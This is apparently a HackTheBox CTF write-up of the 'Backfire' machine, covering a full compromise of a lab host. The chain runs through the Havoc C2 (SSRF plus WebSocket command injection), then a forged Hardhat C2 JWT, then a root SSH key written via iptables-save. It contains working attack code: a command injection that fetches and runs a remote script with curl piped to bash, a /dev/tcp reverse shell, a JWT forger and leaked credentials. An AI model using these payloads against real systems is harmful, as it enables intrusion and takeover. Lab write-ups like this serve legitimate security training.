HTB: Backfire Writeup

Backfire - HackTheBox Writeup

Machine Information

AttributeDetails
NameBackfire
OSLinux
DifficultyMedium
PointsN/A
Release Date28 May 2025
IP Address10.10.11.49
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Backfire is a medium-difficulty machine centered around compromising exposed command-and-control (C&C) servers. The attack begins with discovering an exposed Havoc C&C server configuration that leaks operator credentials and listener details. By exploiting a Server-Side Request Forgery (SSRF) vulnerability, the attacker chains it with WebSocket protocol manipulation to gain remote code execution in Havoc’s payload compilation process. After establishing the initial foothold, lateral movement occurs through a second C&C framework (Hardhat) running locally with hardcoded default JWT secrets. Finally, privilege escalation leverages a file write vulnerability in iptables and iptables-save to inject SSH keys into root’s authorized_keys file.

TL;DR: Exposed Havoc C&C → SSRF + WebSocket RCE → Shell as ilya → JWT forging for Hardhat C&C → Lateral move to sergej → iptables arbitrary file write → Root access


Reconnaissance

Port Scanning

Terminal window
# Initial full port scan
nmap -p- --min-rate=1000 -T4 10.10.11.49
# Detailed enumeration on discovered ports
nmap -p22,443,8000 -sC -sV 10.10.11.49

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4
443/tcp open ssl/http nginx 1.22.1
8000/tcp open http nginx 1.22.1

Service Enumeration

TCP/443 (HTTPS - nginx):

  • Reverse proxy serving SSL/TLS
  • Self-signed certificate for 127.0.0.1
  • Returns 404 responses

TCP/8000 (HTTP - nginx):

  • Directory listing enabled
  • Exposes two critical files:
    • disable_tls.patch: Patches Havoc C&C to use unencrypted WebSockets (ws:// instead of wss://)
    • havoc.yaotl: Havoc configuration file leaking credentials and listener details

Havoc Configuration Contents:

Teamserver {
Host = "127.0.0.1"
Port = 40056
}
Operators {
user "ilya" {
Password = "CobaltStr1keSuckz!"
}
user "sergej" {
Password = "1w4nt2sw1tch2h4rdh4tc2"
}
}
Listeners {
Http {
Name = "Demon Listener"
Hosts = ["backfire.htb"]
HostBind = "127.0.0.1"
PortBind = 8443
PortConn = 8443
Secure = true
}
}

Vulnerability Assessment

  1. SSRF in Havoc C&C: The teamserver accepts internal HTTP requests through SSRF
  2. Exposed C&C Configuration: Clear-text credentials and internal port details disclosed
  3. WebSocket on Unencrypted Channel: TLS disabled for WebSocket protocol (TCP/40056)
  4. Default JWT Secrets in Hardhat C&C: Hardcoded JWT signing keys in appsettings.json
  5. Insecure iptables Permissions: User can execute iptables with NOPASSWD sudo privilege, enabling arbitrary file write

Initial Foothold

SSRF to WebSocket Exploitation

The SSRF vulnerability allows the Havoc teamserver to make HTTP requests to arbitrary internal addresses. We exploit this to establish a WebSocket connection to the internal Havoc teamserver (TCP/40056) and inject malicious commands.

Step 1: Verify SSRF with External Listener

Terminal window
# Start a simple HTTP server to verify SSRF connectivity
python3 -m http.server 80
Terminal window
# Run the SSRF PoC
python3 exploit.py -t https://backfire.htb/ -i 10.10.14.65 -p 80

Expected output confirms HTTP request reaches our listener.

Step 2: Probe Internal Port via SSRF

Terminal window
# Test connectivity to internal Havoc WebSocket port
python3 exploit.py -t https://backfire.htb/ -i 127.0.0.1 -p 40056

Response shows port is accessible internally and accepts HTTP requests.

Step 3: Upgrade HTTP to WebSocket via SSRF

Create a modified exploit that sends WebSocket upgrade headers through the SSRF socket:

def send_websocket_handshake(socket_id):
"""Send WebSocket upgrade handshake to establish WebSocket connection"""
payload = b"""GET /havoc/ HTTP/1.1\r
Host: 127.0.0.1:40056\r
Upgrade: websocket\r
Connection: Upgrade\r
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==\r
Sec-WebSocket-Version: 13\r
Sec-WebSocket-Protocol: chat, superchat\r
Origin: https://127.0.0.1:40056/\r
\r
"""
write_socket(socket_id, payload)
print("[+] WebSocket handshake sent")
def send_websocket_frame(socket_id, data):
"""Encode and send data as WebSocket frame"""
# WebSocket frame structure: FIN + opcode, length indicator, masking key, payload
length = len(data).to_bytes(2, 'big')
frame = b'\x81\xfe' + length + b'\x00\x00\x00\x00' + data
write_socket(socket_id, frame)
# Step 1: Authenticate to Havoc
auth_payload = b"""{
"Body": {
"Info": {
"Password": "2e65bab481bc3484332f48c771749afc052adc8383bef70fd0feeb71ce2d657b",
"User": "ilya"
},
"SubEvent": 3
},
"Head": {
"Event": 1,
"OneTime": "",
"Time": "18:40:17",
"User": "ilya"
}
}"""
send_websocket_frame(socket_id, auth_payload)
# Step 2: Create payload with command injection
# Inject reverse shell command into Service Name field
rce_payload = b"""{
"Body": {
"Info": {
"AgentType": "Demon",
"Arch": "x64",
"Config": "{\\n \\"Service Name\\": \\" -mbla; curl 10.10.14.9/test | bash && false #\\",\\n}",
"Format": "Windows Service Exe",
"Listener": "abc"
},
"SubEvent": 2
},
"Head": {
"Event": 5,
"OneTime": "true",
"Time": "18:39:04",
"User": "ilya"
}
}"""
send_websocket_frame(socket_id, rce_payload)

Step 4: Deliver Reverse Shell Payload

# Create reverse shell payload
cat > test << 'EOF'
#!/bin/bash
/bin/sh -i >& /dev/tcp/10.10.14.19/1337 0>&1
EOF
# Serve payload
python3 -m http.server 80
Terminal window
# Listen for incoming connection
nc -lnvp 1337

Step 5: Verify Shell Access

The Havoc compilation process executes our injected command, which fetches and executes the reverse shell:

Terminal window
$ id
uid=1000(ilya) gid=1000(ilya) groups=1000(ilya),24(cdrom),25(floppy),29(audio)...
$ whoami
ilya

Step 6: Establish Stable SSH Access

Terminal window
# Generate SSH key locally
ssh-keygen -t ed25519 -f id_ed25519
# Add public key to authorized_keys
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPQTmDUg3xi5WrAZQa4f1vsztNm7XONcEsx5SmBk/HAx shashwat@vm" >> ~/.ssh/authorized_keys
Terminal window
# SSH into the machine for stable access
ssh ilya@backfire.htb

Step 7: Retrieve User Flag

Terminal window
ilya@backfire:~$ cat user.txt
<redacted>

Lateral Movement & Privilege Escalation

Discovering Hardhat C&C

Terminal window
ilya@backfire:~$ cat hardhat.txt
Sergej said he installed HardHatC2 for testing and not made any changes to the defaults
I hope he prefers Havoc bcoz I don't wanna learn another C2 framework, also Go > C#
# Check for listening services
ilya@backfire:~$ netstat -anot | grep LISTEN
tcp 0 0 127.0.0.1:7096 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:40056 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN

Hardhat C&C is running on TCP/7096 (localhost only). We need to port forward to access it.

Exploiting Hardhat JWT Authentication

Hardhat C&C uses JWT for authentication with hardcoded secrets in its source code:

Terminal window
# Port forward to access Hardhat locally
ssh ilya@backfire.htb -L 7096:127.0.0.1:7096 -N &

The hardcoded JWT secret from Hardhat’s appsettings.json:

jwtKey = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
jwtIssuer = "hardhatc2.com"

Generate Valid JWT Token (C# Code):

using System;
using System.IdentityModel.Tokens.Jwt;
using System.Security.Claims;
using System.Text;
using Microsoft.IdentityModel.Tokens;
class Program
{
static void Main(string[] args)
{
string jwtKey = "jtee43gt-6543-2iur-9422-83r5w27hgzaq";
string jwtIssuer = "hardhatc2.com";
string token = GenerateJwtToken(jwtKey, jwtIssuer);
Console.WriteLine("Generated JWT:");
Console.WriteLine(token);
}
static string GenerateJwtToken(string key, string issuer)
{
var securityKey = new SymmetricSecurityKey(Encoding.UTF8.GetBytes(key));
var credentials = new SigningCredentials(securityKey, SecurityAlgorithms.HmacSha256);
var claims = new[]
{
new Claim(JwtRegisteredClaimNames.Sub, "HardHat_Admin"),
new Claim(JwtRegisteredClaimNames.Jti, Guid.NewGuid().ToString()),
new Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier",
Guid.NewGuid().ToString()),
new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role",
"Administrator")
};
var token = new JwtSecurityToken(
issuer: issuer,
audience: issuer,
claims: claims,
expires: DateTime.UtcNow.AddHours(999),
signingCredentials: credentials);
return new JwtSecurityTokenHandler().WriteToken(token);
}
}

Compile and run to get a valid JWT token with Administrator privileges.

Access Hardhat C&C:

Terminal window
# Navigate to Hardhat C2 web interface (localhost:7096)
# Use the generated JWT token in Authorization header: Bearer <token>
# Access /Settings endpoint to add new Operator user

Create New Operator User:

Once authenticated, use the admin panel to create a new operator account with full privileges. Log in with the new credentials.

SSH Key Injection via Hardhat Terminal

Terminal window
# In Hardhat C2 terminal, execute commands as sergej
ssh-keygen -t ed25519 -f /tmp/id_ed25519
# Add public key to authorized_keys
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPQTmDUg3xi5WrAZQa4f1vsztNm7XONcEsx5SmBk/HAx" >> ~/.ssh/authorized_keys
# SSH in as sergej
ssh sergej@backfire.htb

Privilege Escalation via iptables

Terminal window
sergej@backfire:~$ sudo -l
User sergej may run the following commands on backfire:
(root) NOPASSWD: /usr/sbin/iptables
(root) NOPASSWD: /usr/sbin/iptables-save

The iptables-save command has an arbitrary file write vulnerability. We can inject SSH keys into rules with comments, then save them to root’s authorized_keys.

Step 1: Create iptables rule with SSH key in comment

Terminal window
# Add a rule with our SSH public key embedded in the comment field
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPQTmDUg3xi5WrAZQa4f1vsztNm7XONcEsx5SmBk/HAx\n'

Step 2: Write iptables rules to authorized_keys

Terminal window
# Save iptables rules to root's authorized_keys file
sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys

The newline characters prevent the garbage iptables header from interfering with SSH key parsing.

Step 3: SSH as root

Terminal window
ssh root@backfire.htb
# Verify root access
root@backfire:~# whoami
root
root@backfire:~# hostname
backfire
root@backfire:~# cat root.txt
<redacted>

Attack Chain Summary

Exposed havoc.yaotl → Credentials & Port 40056 Discovered
SSRF Vulnerability in Havoc
WebSocket Protocol Upgrade via SSRF
Authenticate with Leaked Credentials
Inject Commands in Payload Compilation
Remote Code Execution as ilya
Discover Hardhat C&C on TCP/7096
Forge JWT with Hardcoded Secret
Access Hardhat Admin Panel
Create Operator & Lateral Move to sergej
Discover sudo iptables Permissions
Arbitrary File Write via iptables-save
Inject SSH Key into /root/.ssh/authorized_keys
SSH Access as root → Privilege Escalation Complete

Tools Used

ToolPurpose
nmapNetwork reconnaissance and port scanning
curlTesting SSRF connectivity and downloading payloads
ncNetcat listener for reverse shell connections
sshSecure shell access and port forwarding
iptablesLinux firewall tool (exploitation vector)
iptables-saveSave firewall rules (arbitrary file write vulnerability)
python3HTTP server and WebSocket payload crafting
C# / .NETJWT token generation with hardcoded secrets
netstatService discovery and port enumeration

Key Learnings

Techniques Practiced

  • SSRF Chaining: Converting Server-Side Request Forgery into WebSocket protocol upgrades for RCE
  • WebSocket Frame Crafting: Manual encoding of WebSocket frames (FIN bit, opcode, masking, payload)
  • C&C Exploitation: Attacking exposed command-and-control server configurations
  • JWT Cryptanalysis: Forging tokens using hardcoded secrets extracted from open-source projects
  • Arbitrary File Write: Leveraging Linux utility misconfigurations for privilege escalation
  • Lateral Movement: Chaining multiple vulnerabilities across different services

Lessons Learned

  1. Configuration Exposure is Critical: A single exposed configuration file (havoc.yaotl) leaked credentials, ports, and listener details—enabling the entire attack chain
  2. Protocol Abuse via SSRF: SSRF is more powerful than simple HTTP requests; it can be chained with protocol upgrades (HTTP → WebSocket) to access internal services
  3. Default Credentials Matter: Both Havoc (clear-text passwords) and Hardhat (hardcoded JWT secrets) relied on defaults that were either exposed or predictable
  4. Open Source Vulnerabilities: Using open-source C&C frameworks without security review introduces well-known vulnerabilities (like hardcoded JWT keys)
  5. Sudo Misconfigurations are Dangerous: Allowing iptables without restrictions enables arbitrary file writes—a seemingly innocent firewall tool becomes a privilege escalation vector
  6. Defense in Depth Failure: Each individual vulnerability was exploitable; defense required fixing all of them simultaneously

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>